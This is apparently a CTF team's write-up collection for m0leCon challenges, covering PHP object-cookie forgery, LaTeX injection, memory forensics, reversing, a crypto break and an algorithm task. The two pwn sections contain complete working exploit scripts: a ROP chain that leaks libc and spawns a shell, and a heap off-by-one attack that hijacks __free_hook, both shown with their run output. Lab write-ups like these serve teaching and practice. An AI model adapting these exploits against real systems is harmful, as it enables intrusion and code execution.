|
4 år sedan | |
---|---|---|
Readme.md | 4 år sedan |
login
cookie is set with a base64 encoded PHP object (e.g. base64_encode('O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:1:"'";s:5:"admin";b:0;}')
)admin
as username
and the boolean property admin
as true
you become admin and get the flagFlag: ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}
LaTeX
LaTeX
in its syntax has some commands which allow RCE
config.php
file which contained the flag
Flag: ptm{L4t3x_1nj3ct10n_1s_c00l}
The profile need to be moved in the right path(/volatility/volatility/plugins/overlays/linux) before start volatility.
In order to find the correct profile name you can use this command:
python vol.py --info | grep -i mint
After that, we have started to analyze dump; in this case the memory dump is made from a Linux system, and the command set from volatility to analyze Linux memory dump is a little bit restricted than Windows memory analysis command-set.
root@kali:python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_pslist
Volatility Foundation Volatility Framework 2.6.1
Offset Name Pid PPid Uid Gid DTB Start Time
------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ----------
-- trim --
0xffff8800542aa740 bash 2302 2296 1000 1000 0x00000000543f3000 2019-11-29 22:29:41 UTC+0000
0xffff88005719e220 thunderbird 2319 2184 1000 1000 0x00000000542ec000 2019-11-29 22:29:43 UTC+0000
0xffff8800788e44b0 cinnamon-screen 2380 1741 1000 1000 0x0000000054397000 2019-11-29 22:29:48 UTC+0000
0xffff880079c86bf0 mintupdate-laun 2381 1741 1000 1000 0x0000000057274000 2019-11-29 22:29:48 UTC+0000
0xffff8800788cbae0 sh 2384 2381 1000 1000 0x0000000078398000 2019-11-29 22:29:48 UTC+0000
-- trim --
Between system processes and other useless stuff, we can find a Thunderbird istance; Thunderbird execution is fairly automated.
We can try to use linux_bash to see the history of used command and find something about Thunderbird.
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
-- trim --
2302 bash 2019-06-21 22:01:12 UTC+0000 cd /home
2302 bash 2019-06-21 22:01:13 UTC+0000 cd hackermaster
2302 bash 2019-06-21 22:01:14 UTC+0000 cd emails
2302 bash 2019-06-21 22:01:15 UTC+0000 wget 192.168.1.107/hackz/client_data.zip
2302 bash 2019-06-21 22:01:40 UTC+0000 thunderbird "Please be careful with what you do.eml"
2302 bash 2019-06-21 22:02:42 UTC+0000 thunderbird "Re: Please be careful with what you do.eml"
2302 bash 2019-06-21 22:03:32 UTC+0000 thunderbird "Need the moneyz now.eml"
2302 bash 2019-06-21 22:04:30 UTC+0000 thunderbird "Re: Re: Please be careful with what you do.eml"
-- trim --
Intresting, we can find 4 different .eml files opened with Thunderbird. In linux memory dump analysis, we need to find the correct inode value and send it to linux_find_file with -i and -O options to extract every single file.
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -F "/home/hackermaster/emails/Your_filename_here.eml"
Volatility Foundation Volatility Framework 2.6.1
Inode Number Inode File Path
---------------- ------------------ ---------
814605 0xffff880078eabc48 /home/hackermaster/emails/Need the moneyz now.eml
814389 0xffff880078e9f060 /home/hackermaster/emails/Please be careful with what you do.eml
814373 0xffff880078e9f458 /home/hackermaster/emails/Re: Please be careful with what you do.eml
814162 0xffff880078e9fc48 /home/hackermaster/emails/Re: Re: Please be careful with what you do.eml
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078eabc48 -O "Need the moneyz now.eml"
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f060 -O "Please be careful with what you do.eml"
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f458 -O "Re: Please be careful with what you do.eml"
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9fc48 -O "Re: Re: Please be careful with what you do.eml"
Three of those mails are simply text with nothing intresting, but "Need the moneyz now.eml" have an attached zip file.
After unzip that, we have a lot of json files with strange names and a txt with an ethereum wallett address inside.
Simply use a recursive grep with the string 'ptm{' (the flag format) to solve the chall.
Flag: ptm{wh4t_1s_h3_d0ing_With_tH4t_dat4}
ELF
was providedstrings
on it it can be discovered to be generated by PyInstaller
pyi-archive_viewer
it was possible to extract the pyc
bytecodeheader
of the pyc
was removed by PyInstaller
, so it should be re-added and then it could be decomPYled
with uncompyle6
print((chr(pow(small_number, very_big_number) % 1000)))
)%
operation also before the pow
one it was possible to speed-up the script and get the flag in seconds (i.e. print((chr(pow((small_number % 1000), (very_big_number % 1000)) % 1000)))
)Flag: ptm{30058c5c3989ece35831e815e83e0505}
div
with the display:none
CSS property in the description of the challenge itselfFlag: ptm{W3lc0m3_70_m0l3C0n_CTF!}
Rules and definitions
we are given n sequences of numbers, a set of rules to build a solution sequence from these and a definition of best solution
we can pick only the numbers at the beginning of the sequences, once you pick an element that is removed from the input sequences and put into the solution sequence
to compare two solutions we have to compute the value x-y where x and y are the first different elements of the sequences we are comparing
if we provide the best solution we repeat the process with a new input
Solution
at each iteration we pick the minimum among the available elements at the beginning of the sequences we are provided with
in case of conflicts (i.e. more than one minimum) we move to compare the second element of the candidate sequences (the one with the minimum at the beginning) and so on until we can establish which one to pick
given the way the best solution is measured, this algorithm will be enough to find the best solution in a reasonable time
def solve(ss):
sol = []
while True:
ss = list(filter(lambda s: len(s) > 0, ss))
if len(ss) == 0:
break
heads = {}
for i in range(len(ss)):
if ss[i][0] in heads.keys():
#print("CONFLICT!")
l1 = list(ss[i])
l2 = list(ss[heads[ss[i][0]]])
for j in range(min(len(l1), len(l2))):
try:
if l1[j] > l2[j]:
break
elif l1[j] < l2[j]:
heads[l1[0]] = i
break
except:
print("ANOTHER CONFLICT!")
exit(0)
else:
heads[ss[i][0]] = i
new = min(heads.keys())
sol.append(new)
ss[heads[new]].pop(0)
return sol
from pwnapi import *
log.level = 2
context.update(host="10.255.0.1", port=8005)
p = context.getremote()
p.recvuntil(b"Now it's your turn!\n\n")
while True:
ss = []
while True:
l = p.recvline()
s = list(map(lambda x: int(x), l.strip().split()))
if len(s) == 0:
break
ss.append(s)
sol = solve(ss)
pay = ("{} "*len(sol)).strip().format(*sol).encode("utf-8")
p.sendlineafter(b"sequence\"?", pay)
while p.recv(1) != b"!":
pass
p.recvuntil(b"\n\n\n")
p.recvall()
p.close()
Flag: ptm{5up3r_f457_1n_c4rD_6Am3s}
By reversing the binary you can learn that:
a
, b
and p
from the ./params
file.encrypt
functionThe encrypt function behave like the following C++/Pseudocode
__int64 encrypt(__int64 a1, vector<unsigned int> *message)
{
InfInt sum = InfInt(0);
InfInt power;
for ( i = 0; i < message.size(); ++i )
{
myPow(power, 256, message.size() - i - 1);
sum += InfInt(message[i])*power;
}
sum += 1337
std::cout << sum << std::endl;
unsigned int seed = now().time_since_epoch().count();
srand(seed);
int r = rand();
InfInt randv;
randv = p / 0x7FFFFFFF * r;
sum = (sum * randv + 1) % p;
a_randv = a * randv;
b_sum = b * sum;
enc_sum = (a_randv + b_sum) % p;
enc_diff = (a_randv _ b_sum) % p;
if (enc_diff < 0) {
enc_diff += p;
}
a1 = std::pair<InfInt,InfInt>(a1, (__int64)&v11, (__int64)&v12);
return a1;
}
The idea here is to send multiple time the same message to be encrypted, generate the "sum" (like in the cout above) and then run the following SageMath script.
from Crypto.Util.number import long_to_bytes
cipher1=[
1657193054003946939742382039546178248764670964093956768428222754149558900484660423527213927409731682492391649192884642286972836750184248785223918459744699,
9393149816861097990249702302505021603400732592123252503116137566283707142638124367678170286762151736722171457008067398498155737944943155046469028379079674
]
cipher2=[
8567657050186210539812433490723910952475953365776184198464020501236978388794781400334504727276101618868281832944377160415402086128091946377445840531078288,
5608821411558755844947151824603641814259531937527920016345776121936177018601438328338200624208839078384905595006944812697328138726508018110801426846026457
]
cipher3=[
793367049655931060762753233354685831932640135849414074345377052132000065850916722724046406778375795612456646357707665197849363431642555273503228771193778,
7294789427811005632196844363150149690307758418592767276751589840254636358146705068590938842193417495862235903122916362826752853301014990898527383238441432
]
enc_message=44046402572626160612103472728795008085361523578694645928734845681441465001626
matrix = MatrixSpace(QQ,4,4)
vec = VectorSpace(QQ,4)
mat1 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher2[0]+cipher2[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher2[0]-cipher2[1],0,-2*enc_message]).inverse()
mat2 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher3[0]+cipher3[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher3[0]-cipher3[1],0,-2*enc_message]).inverse()
x1 = mat1*vec([0,0,2,2])
x2 = mat2*vec([0,0,2,2])
ares = x1[0].numerator() * x2[0].denominator() - x1[0].denominator() * x2[0].numerator()
bres = x1[1].numerator() * x2[1].denominator() - x1[1].denominator() * x2[1].numerator()
z = gcd(ares, bres)
print(z)
#for f in factor(z):
# print(f)
flag=[
4359033484857692329373218835891273223514277989389887380295361415464889770166389701631419427834781246508138660575223898424123475008882009518656242889895631,
1632584625552577634192244416449206016411410634392809925962891108131606575665762171492327868243444711605020193366871285556543848503175607073462086340098314
]
p = 9653752804826064052029859504357788343793666970085809058730805328470766932451241626459959462175810916447560141687115090556455161113988122849830800950814781
a = inverse_mod((inverse_mod(x1[0].denominator(), p) * x1[0].numerator()) % p, p)
b = inverse_mod((inverse_mod(x1[1].denominator(), p) * x1[1].numerator()) % p, p)
a = inverse_mod((inverse_mod(2 * a, p) * (flag[0] + flag[1])), p)
b = inverse_mod(2 * b, p) * (flag[0] - flag[1]) - 1
flag = (a * b - 1337) % p
print(long_to_bytes(flag))
Flag: ptm{l1n3ar_alg3br4_at_1t5_b3s7!}
We are given an ELF binary with no stack canaries protections and no PIC.
The vulnerability lies in this function
void __cdecl sub_400BED()
{
__int64 v0; // [rsp+20h] [rbp-20h]
__int64 v1; // [rsp+28h] [rbp-18h]
__int64 v2; // [rsp+30h] [rbp-10h]
__int64 v3; // [rsp+38h] [rbp-8h]
__int64 vars0; // [rsp+40h] [rbp+0h]
__int64 retaddr; // [rsp+48h] [rbp+8h]
sub_400A68(&v0);
sub_400ABF(&v0);
puts("Now give me your block data: ");
HIDWORD(v3) = read(0, &qword_6020E0, 0x80uLL);
if ( !(unsigned int)sub_400B14((__int64)&qword_6020E0, SHIDWORD(v3), (__int64)&v0) )
{
puts("Go mine somewhere else!!\n");
exit(1);
}
v0 = qword_602100;
v1 = qword_602108;
v2 = qword_602110;
v3 = qword_602118;
vars0 = qword_602120;
retaddr = qword_602128; // WE CONTROL THE RETURN POINTER
puts("Block successfully mined. Bye!\n");
}
To reach the ret instruction we need to pass a check
signed __int64 __fastcall sub_400B14(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // [rsp+8h] [rbp-98h]
char v5[16]; // [rsp+20h] [rbp-80h]
char v6; // [rsp+30h] [rbp-70h]
int j; // [rsp+98h] [rbp-8h]
int i; // [rsp+9Ch] [rbp-4h]
v4 = a3;
MD5_Init(&v6);
MD5_Update(&v6, a1, a2);
MD5_Final(v5, &v6);
for ( i = 0; i <= 15; ++i )
printf("%02x", (unsigned __int8)v5[i]);
putchar(10);
for ( j = 0; j <= 1; ++j )
{
if ( *(_BYTE *)(j + v4) != v5[j] )
return 0LL;
}
return 1LL;
}
Since only the first two bytes of the hash are checked we can try to bruteforce it
We're gonna trigger the vulnerability a first time to execute a short ropchain which will leak an address from the GOT to compute the libc_base and then ret2vuln
Now we know the addresses of functions and strings from libc in memory
We're gonna trigger the vulnerability a second time to hijack the execution to system("/bin/sh")
def brute_payload(proof, pay):
def md5(data):
import hashlib
m = hashlib.md5()
m.update(data)
return m.hexdigest().encode("utf-8")
i = 0
while True:
pay2 = (pay+str(i).encode("utf-8"))[:128]
h = md5(pay2)
if proof[:4] == h[:4]:
return pay2
i += 1
from pwnapi import *
log.level = 1
context.binary = ELF("./proof_of_pwn")
libc = ELF("./libc.so.6")
p = context.getprocess()
proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))
rop = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop += p64(context.binary.sym.got.puts)
rop += p64(context.binary.sym.plt.puts)
rop += p64(0x00400bed) # check function
payload = brute_payload(proof, fit({72:rop}))
p.sendafter(b"\n", payload)
p.recvuntil(b"\n\n")
puts = u64(p.recvline().strip().ljust(8, b"\x00"))
libc_base = puts - libc.sym.puts
system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search("/bin/sh"))
log.info("libc base: 0x{:x}".format(libc_base))
log.info("system: 0x{:x}".format(system))
log.info("binsh: 0x{:x}".format(binsh))
proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))
rop = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop += p64(binsh)
rop += p64(system)
rop += p64(context.binary.findgadgetbystr("mov eax, 0;leave;ret"))
payload = brute_payload(proof, fit({72:rop}))
p.sendafter(b": \n", payload)
p.recvuntil(b"\n\n")
p.sendline(b"cat flag.txt; exit")
log.info("flag: {}".format(p.recvall().decode("utf-8")))
p.close()
$ python exploit.py
[INFO]: Opening binary ./libc.so.6
arch x86
bits 64
endian little
os linux
static False
stripped True
canary True
nx True
pic True
relocs False
sanitiz False
[INFO]: Opening binary ./proof_of_pwn
arch x86
bits 64
endian little
os linux
static False
stripped True
canary False
nx True
pic False
relocs False
sanitiz False
[INFO]: Process started with PID 17148 ./proof_of_pwn
[INFO]: required proof: 289510e3b590959fb0b0177fe57612d3
[INFO]: libc base: 0x7f10f5e8e000
[INFO]: system: 0x7f10f5ed3390
[INFO]: binsh: 0x7f10f601ad57
[INFO]: required proof: b222d1572a57e35c7416ff32e234f90a
[INFO]: flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp}
[INFO]: Process 17148 exited with code -7
Flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp}
We are given a binary with no PIE and full RELRO. The binary offers an augmented interface over the one for PWN 1:
[DEBUG] <-- Binary compiled with debug prints and experimental functions -->
The interface allows to create a new block, edit/retrieve the associated transaction name, delete the block and modify the associated hash. Each allocated block is 248 bytes in size, dynamically allocated through malloc(), of which:
The interface above gives us four useful primitives:
P.1) Allocate an arbitrary number of fixed size buffers (248 bytes) and fill the first 224 bytes with arbitrary content P.2) Dereference (Read/Write primitive) a pointer located 24 bytes from the end of the buffer P.3) Modify the last 16 bytes of a buffer after it has been allocated P.4) Free on demand the allocated buffers
On top of this, the [DEBUG] messages that the application prints leak each allocated buffer address:
Proof your value! -> d5abc3bc1c
[DEBUG] block is at 0x1221010
Just like in PWN 1, in order to add (mine) a new block, one needs to send a buffer that matches the randomly generated MD5 sum. In this case, though, only one byte is compared:
for ( j = 0; j <= 0; ++j )
{
if ( *(_BYTE *)(j + v4) != v8[j] )
return 0LL;
}
The vulnerability lies in the "Edit hash" functionality and is a classic off-by-one NULL byte overflow:
read(0, (void *)(table[v0] + 232LL), 0x10uLL);
result = table[v0];
*(_BYTE *)(result + 248) = 0;
Since the allocated buffers are 0x100 (256) bytes in size, the NULL byte overflow allows to change the 'size' field of an adjacent allocated chunk, moving it from the allocated state (0x101 - 0x1 Present flag) to the free state (0x100). P.4 allows to control the last 16 bytes of a buffer, which translates into controlling the prev_size field of a (fake in our case) free buffer.
Through the control of the Present flag + the prev_size field and since we control the contents of the buffers that we load, it is possible to completely create a fake chunk and desynchronize the heap. Once the heap is desynchronized, we can force the allocation of new buffers that overlap with existing ones and allow control of the R/W primitive through P.2. P.2 is used both to infoleak the base address of libc and to overwrite the contents of __free_hook
with a onegadget from the provided libc.so, therefore leading to arbitrary code execution.
Let's detail the steps for exploitation:
1) Create enough dummy buffers until the allocator starts returning consecutive allocations (in the specific case here, no dummy buffers are needed, but we still allocate one to use at the end)
2) Allocate three consecutive buffers that we'll call B1, B2, B3. B3 is the victim buffer, B2 is the attacking buffer (that we'll use to overflow into the size portion of B3) and B1 will contain most of the necessary data to fake the free object.
3) Allocate an extra buffer, B4, to get the bottom chunk out of the way.
4) Once B1 and B2 addresses are known, free B1 and re-allocate it, this time with the proper payload. From the exploit:
payload = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2
The above payload provides fake FD and BK (self referencing higher up to pass glibc integrity checks) and mirrors the selected fake size (0x140), while stating that the previous buffer is Present (0x1 flag), once again to pass glibc safety checks.
Through P.3 the fake size (0x140) is written to 'prev_size' for B2, which also triggers the overflow:
io.sendline("5")
eat_menu(io)
io.sendline("2")
payload = p64(0x4444444444444444)
payload += p64(0x140)
At this point, all the necessary fake structures are in place.
5) Trigger the buffer coalesce by freeing B3
6) Allocate a new buffer B5. This time, because the heap is desynced, we get a misaligned address and B5 contents overlap with some of B1. In particular, at B5 + 32 there is the Transaction Name pointer for B1.
7) Use the payload of B5 to overwrite B1 Transaction Name pointer and point it to the binary GOT entry of a libc function. In the exploit, 'puts' is selected.
8) Use P.2 through B1 to read the address in the GOT and extract the libc base
9) Free B5 and reallocate it. In this case, in the payload, store at B5 + 32 the address of __free_hook
.
10) Use P.2 through B1 to write to __free_hook
the address of the libc one-gadget
11) Use P.4 over the dummy buffer allocated at the start to trigger the shell and enjoying the party.
Exploit (dirty python written by a C developer and gloriously uncommented) follows
from pwn import *
def brute_payload(proof, pay):
def md5(data):
import hashlib
m = hashlib.md5()
m.update(data)
return m.hexdigest()
i = 0
while True:
pay2 = (pay+str(i)).ljust(224)
h = md5(pay2)
if proof[:2] == h[:2]:
return pay2
i += 1
def eat_menu(io):
io.recvuntil(":", timeout=4)
def alloc_buffer(io, payload='aaa', tname='dummy'):
io.sendline("1")
md5_line = io.recvline().split()[-1]
addr = io.recvline().split()[-1]
eat_menu(io)
good_payload = brute_payload(md5_line, payload)
io.send(good_payload)
eat_menu(io)
io.sendline(tname)
eat_menu(io)
log.info("buffer allocated at 0x{:x}".format(addr))
return addr
def free_buffer(io, id):
io.sendline("4")
eat_menu(io)
io.sendline(id)
eat_menu(io)
log.info("buffer {} freed".format(id))
context.log_level = "INFO"
context.binary = "./proof_of_pown2"
libc = ELF("./libc.so.6")
io = process(context.binary.path, env={"LD_PRELOAD":"./libc.so.6"})
eat_menu(io)
#alloc dummy buffer
alloc_buffer(io)
# alloc starting buffer
buf1_addr = alloc_buffer(io)
#alloc attack buffer
buf2_addr = alloc_buffer(io)
#alloc victim buffer
buf3_addr = alloc_buffer(io)
#prevent topchunk messing
buf4_addr = alloc_buffer(io)
free_buffer(io, "1")
payload = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2
alloc_buffer(io, payload=payload)
io.sendline("5")
eat_menu(io)
io.sendline("2")
payload = p64(0x4444444444444444)
payload += p64(0x140)
io.sendline(payload)
recvd_buffer = io.recvuntil(":", timeout=1)
free_buffer(io, "3")
payload = p64(0x4444444444444444)*4
payload += p64(0x601f80)
alloc_buffer(io, payload=payload)
io.sendline("3")
eat_menu(io)
io.sendline("5")
io.recvuntil("name: ")
aslr_puts = u64(io.recv(8)[:-2]+"\x00\x00")
libc_base = aslr_puts - libc.sym.puts
free_hook = libc_base + libc.sym.__free_hook
log.info("puts at: %x" % aslr_puts)
log.info("libc base is at: %x" % libc_base)
log.info("free hook is at: %x" % free_hook )
payload = p64(0x4444444444444444)*4
payload += p64(free_hook)
eat_menu(io)
free_buffer(io, "6")
alloc_buffer(io, payload=payload)
io.sendline("2")
eat_menu(io)
io.sendline("5")
one_gadget = libc_base + 0x4526a
payload = p64(one_gadget)
io.sendline(payload)
eat_menu(io)
io.sendline("4")
eat_menu(io)
io.sendline("0")
io.interactive()
io.close()
quit()
ctf@ctf:~/two$ python exploit_edited.py
[*] '/home/ctf/two/proof_of_pown2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] '/home/ctf/two/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/ctf/two/proof_of_pown2': pid 12070
[*] buffer allocated at 0xd01010
[*] buffer allocated at 0xd01110
[*] buffer allocated at 0xd01210
[*] buffer allocated at 0xd01310
[*] buffer allocated at 0xd01410
[*] buffer 1 freed
[*] buffer allocated at 0xd01110
[*] buffer 3 freed
[*] buffer allocated at 0xd011d0
[*] puts at: 7efef9400690
[*] libc base is at: 7efef9391000
[*] free hook is at: 7efef97577a8
[*] buffer 6 freed
[*] buffer allocated at 0xd011d0
[*] Switching to interactive mode
Index: $
Flag: ptm{5t0p_m355ing_wi7h_bl0ckch4ins}